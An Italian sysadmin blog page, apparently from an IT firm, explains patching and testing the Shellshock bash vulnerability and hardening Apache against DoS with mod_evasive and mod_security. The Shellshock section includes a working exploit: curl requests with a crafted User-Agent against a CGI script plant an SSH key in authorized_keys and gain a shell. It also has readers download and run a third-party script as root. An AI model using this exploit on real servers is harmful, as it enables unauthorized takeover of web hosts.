

Shellshock vulnerability BASH

BASH CVE-2014-6271 vulnerability

Vulnerabilità grave della bash, la command line più diffusa dei sistemi Linux, associata all'utilizzo delle CGI consente di prendere il controllo del server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che interessa Bash è probabilmente molto più grande e rischiosa di Heartbleed, l'enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

- [CentOS](#)
- [Debian](#)
- [Redhat\(link is external\)](#)
- [Ubuntu](#)

I sistemi impattati sono principalmente le distribuzioni basate su RHEL, Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilità.

<http://youtu.be/ArE0VHQu9nk>

La risoluzione è molto semplice, per le RHEL based, quindi RHEL stessa, Fedora, CentOS basta eseguire l'upgrade della bash:

```
yum upgrade bash
```

Mentre per le Debian based:

```
apt-get update; apt-get install bash
```

Per Debian 6 potrebbe essere necessario cambiare il repository nel file source.list, è possibile scaricare uno script che esegue la verifica della vulnerabilità sulla bash e poi esegue l'upgrade, scarica il file ZIP da estrarre sul sistema "[shellshock.zip](#)", estrai il pacchetto, dai i permessi di esecuzione e lancialo:

```
wget
http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13
unzip shellshock.zip
chmod +zx shellshock.sh
./shellshock.sh
```

Lo script scrive nella directory /root/ il file shellshock.txt, al suo interno sono presenti le informazioni della bash e la presenza della vulnerabilità prima e dopo l'upgrade.

Per testare se la versione della BASH è afflitta dalla vulnerabilità CVE-2014-6271 basta lanciare questo comando:

```
env x='() { :}; echo vulnerabile' bash -c "echo prova"
```

Se riceviamo a video la parola “vulnerabile” e poi “prova” vuol dire che dobbiamo eseguire l’upgrade, nel caso ci fosse solo “prova” oppure “bash: warning: x: ignoring function definition attempt” vuol dire che la BASH in uso non è vulnerabile.

Perché avere paura del shellshock e chi deve correre ai ripari:

La vulnerabilità descritta in questo articolo consente di prendere il pieno controllo del server bersaglio solo se tale server ha in uso le CGI, questo perché è possibile inserire il settaggio si “X” con le istruzioni di nostro interesse nell’environment del server sfruttando l’HTTP_AGENT.

```
curl -k -H 'User-Agent: () { :}; /bin/mkdir /var/www/.ssh'  
http://BERSAGLIO/cgi-bin/script.py  
curl -k -H 'User-Agent: () { :}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-  
data@testserv" \  
>/var/www/.ssh/authorized_keys' http://BERSAGLIO/cgi-bin/script.py  
ssh www-data@BERSAGLIO  
www-data@BERSAGLIO:~$ uname -a  
Linux BERSAGLIO 2.6.32-431.11.2.el6.x86_64 #1 SMP Tue Mar 25 19:59:55 UTC  
2014 x86_64 x86_64 x86_64 GNU/Linux
```

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO la presenza delle CGI e dello script script.py, con il curl gli abbiamo inviato una richiesta falsando il nostro “User-Agent”, nel suo interno sfruttiamo la vulnerabilità inserendo la creazione di una directory :

```
User-Agent: () { :}; /bin/mkdir /var/www/.ssh
```

gli passiamo la nostra chiave per poter effettuare accesso in SSH

```
User-Agent: () { :}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-  
data@testserv" \  
>/var/www/.ssh/authorized_keys
```

ora abbiamo completo accesso al terminale.

Questa vulnerabilità deve spaventare chi espone su internet un web server, tutti gli altri sistemi che erogano un servizio diverso hanno meno probabilità di essere bucati, ma comunque è sempre meglio fare l’upgrade della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’è questo script pubblicato su

[“https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil](https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil)

[ity/](#)"

```
#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# download and apply all patches, including the latest one that patches
CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address
CVE-2014-7169.
for i in $(seq -f "%03g" 1 52); do
    wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
    patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash
```

DoS Apache - IDS e Firewall HTTP

DoS Apache – Prevenire attacchi Denial of Service e Distributed Denial of Service con mod_evasive e mod_security

MOD EVASIVE

Proteggere il nostro webserver senza ricorrere a sistemi IDS particolarmente complessi o costosi è possibile, mod_evasive e mod_security sono i due moduli da installare e configurare per prevenire attacchi per Denial of Service

(Dos) e Distributed Denial of Service (DDoS), il primo lavora come un IDS, mentre il secondo usa delle regole simili ad un firewall.

Iniziamo impostando i valori di Timeout e KeepAlive:

- La direttiva **RequestReadTimeout** consente di limitare il tempo di un client per effettuare una richiesta .
- Il valore della direttiva **TimeOut** dovrebbe essere abbassato su siti che sono oggetto di attacchi DoS , è opportuno impostare questo a partire da un paio di secondi . Un valore troppo basso porterà problemi con l'esecuzione di script CGI che richiedono molto tempo per il loro completamento.
- Il parametro per la direttiva **KeepAliveTimeout** può essere abbassato anche su siti che sono oggetto di attacchi DoS . Disattivare il **KeepAlive** con impostazione Off, così come accade per alcuni siti, produce inconvenienti prestazionali, se impostata su On, *permette di usare, come da specifiche HTTP/1.1, la stessa connessione TCP per inviare più file, è pertanto consigliata questa configurazione, che evita l'apertura di una connessione TCP per ogni richiesta HTTP.*

Il mod_evasive intercetta e blocca un determinato indirizzo IP che svolge un determinato numero di richieste in un breve lasso di tempo.

Prima di procedere installiamo alcuni pacchetti fondamentali

```
# yum install make autoconf
# yum install gcc httpd-devel pcre-devel
# yum install libxml2 libxml2-devel curl curl-devel
```

Passiamo all'installazione, può essere fatta tramite yum:

```
# yum install -y mod_evasive
```

oppure scaricando il pacchetto e compilandolo:

```
# cd /usr/src
# wget
http://www.zdziarski.com/blog/wpcontent/uploads/2010/02/mod_evasive_1.10.1.tar.gz
# tar xzf mod_evasive_1.10.1.tar.gz
# cd mod_evasive
# apxs -cia mod_evasive20.c
```

Passiamo ora alla configurazione:

```
# vi /etc/httpd/conf/httpd.conf
```

Abilitiamo il modulo e inseriamo le direttive:

```
LoadModule evasive20_module /usr/lib64/httpd/modules/mod_evasive20.so
```

Editiamo il file

```
# vim /etc/httpd/conf.d/mod_evasive.conf
```

Inseriamo le entry di base:

```
# mod_evasive configuration
LoadModule evasive20_module modules/mod_evasive20.so
<IfModule mod_evasive20.c>
    DOSHashTableSize    3097
    DOSPageCount        2
    DOSSiteCount        50
    DOSPageInterval     1
    DOSSiteInterval     1
    DOSBlockingPeriod   10
    DOSEmailNotify      dos@lbit-solution.it
    #DOSSystemCommand    "su - someuser -c '/sbin/... %s ...'"
    DOSLogDir            "/var/log/httpd/mod_evasive"
    DOSWhitelist         95.110.245.202
    #DOSWhitelist       192.168.0.*
</IfModule>
```

Ora vediamo nel dettaglio le direttive:

- **DOSHashTableSize**: dimensione della tabella di hash per la collezione dei dati di campionamento.
- **DOSPageCount**: identifica la soglia di richiesta di una stessa pagina da parte di un host in un certo intervallo di tempo.
- **DOSSiteCount**: identifica la soglia di richiesta di un qualsiasi oggetto da parte di un host in un certo intervallo di tempo.
- **DOSPageInterval**: intervallo di tempo per la soglia del parametro **DOSPageCount** in secondi.
- **DOSSiteInterval**: intervallo di tempo per la soglia del parametro **DOSSiteCount** in secondi.
- **DOSBlockingPeriod**: parametro che specifica l'intervallo di tempo utilizzato per mostrare l'http error 403 ai client che stanno eseguendo un probabile attacco DoS.
- **DOSEmailNotify**: parametro che specifica l'indirizzo mail al quale inviare una mail di notifica, se un certo indirizzo IP sta eseguendo un probabile attacco Dos.
- **DOSWhitelist**: con questo parametro è possibile aggiungere una lista di IP che non devono essere bloccati dal modulo, nella configurazione di esempio abbiamo applicato la regola per l'indirizzo IP 95.110.245.202
- **DOSLogDir**: specifica un path alternativo alla temp directory per la collezione dei dati.
- **DOSSystemCommand**: lancia uno specifico comando quando viene superata la soglia da parte di un client. Per ricavare l'indirizzo IP che ha sfornato la soglia si deve usare la variabile "%s".

Per testare che tutto sia funzionante, e che le nostre richieste vengano bloccate possiamo usare uno script PERL:

```
#!/usr/bin/perl
# test.pl: small script to test mod_dosevasive's effectiveness
use IO::Socket;
use strict;
for(0..100) {
    my($response);
    my($SOCKET) = new IO::Socket::INET( Proto => "tcp",
                                        PeerAddr=> "127.0.0.1:80");

    if (! defined $SOCKET) { die $!; }
    print $SOCKET "GET /?$_ HTTP/1.0\n\n";
    $response = <$SOCKET>;
    print $response;
    close($SOCKET);
}

```

Il risultato del test sarà il seguente:

```
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden

```

MOD SECURITY

Anche per il mod_security vale la stessa regola del mod_evasive per l'installazione, possiamo scegliere se installarlo tramite repository oppure compilarlo.

Installazione tramite yum:

```
# yum install mod_security

```

Oppure scaricare il pacchetto ed installarlo:

```
# cd /usr/src
# wget http://www.modsecurity.org/download/modsecurity-apache_2.6.6.tar.gz
# tar xzf modsecurity-apache_2.6.6.tar.gz
# cd modsecurity-apache_2.6.6
# ./configure
# make install
# cp modsecurity.conf-recommended /etc/httpd/conf.d/modsecurity.conf

```

File di configurazione di mod_security

1. `/etc/httpd/conf.d/mod_security.conf` – file di configurazione principale del modulo `mod_security` di Apache
2. `/etc/httpd/modsecurity.d/` – tutti gli altri file di configurazione modulo Apache `mod_security`.
3. `/etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf` – La configurazione presente in questo file deve essere personalizzata in base alle vostre esigenze prima di essere messa in esercizio.
4. `/var/log/httpd/modsec_debug.log` – Usa i messaggi di debug per il debugging e altri problemi
5. `/var/log/httpd/modsec_audit.log` – Tutte le richieste che attivano ModSecurity (come rilevato) o gli errori server (“RelevantOnly”) vengono scritti nel file di log.

Editiamo il file `/etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf`

```
# vi /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf
```

E attiviamo la protezione del webserver

```
# SecRuleEngine On
```

Riavviamo il servizio `httpd`

```
# service httpd restart
```

Vediamo dal file di log se non si sono problemi:

```
# tail -f /var/log/httpd/error_log
```

Abbiamo terminato l’installazione dei due moduli che ridurranno gli attacchi, ora in base all’hardware e alle proprie esigenze andranno configurati tutti i servizi.

Scarica il PDF [Proteggere Apache da attacchi DoS e DDoS](#).
